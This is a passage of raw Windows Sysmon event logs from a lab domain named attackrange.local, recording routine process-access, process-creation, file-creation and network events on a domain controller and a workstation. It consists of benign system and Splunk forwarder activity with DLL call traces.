14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.972{7BD73061-6D0F-613B-9406-00000000F001}44802344C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.957{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.957{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.941{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36dd2|c:\windows\system32\rpcss.dll+3dbed|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000047050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.946{7BD73061-7090-613B-0D0B-00000000F001}6188C:\Windows\System32\rundll32.exe10.0.14393.4169 (rs1_release.210107-1130)Windows host process (Rundll32)Microsoft® Windows® Operating SystemMicrosoft CorporationRUNDLL32.EXEC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=23DB802097F7B7E520E40068A7E68B14,SHA256=28DE7D3E8BF4B19E44063A4BFC2E7C30AE488CD9A1F63320ED374E14AAECA667,IMPHASH=7D1CE1BAFE48B63D9D19E8E0E5DF3E6C{7BD73061-65B2-613B-0C00-00000000F001}836C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x800000000000000047049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.550{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.550{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000047047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:52.129{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B534D0FE79191D7ED907F9FF2BBBB7C,SHA256=2FD19518403E277DA6E0EF40941848EBA551EE880AFF306E41153F043344DB42,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014854Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:51.436{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50184-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014856Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:53.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F0D48939B25F645439333738650C4450,SHA256=948968478442D3F227150C15BE0D6A4B1DCBFE8C471D269F694F19B34F1CECCB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.973{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0543A31871E993A89C2B74F9713A39B8,SHA256=8209D5D90F983EF65F3924A50969B2B8FA0C0C745947AB5208B0C0E44586AAF7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.973{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4E5D7A3DDBEC956D6C4105D67BF36CEE,SHA256=E5EA2DBF54654192B620981072A0EDF791D2BC5AA5F609786BBA26393DB7C4D9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.754{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000047104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.754{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000047103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.739{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.739{7BD73061-6D0F-613B-9406-00000000F001}44806324C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.739{7BD73061-6D0F-613B-9406-00000000F001}44806324C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:53.723{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM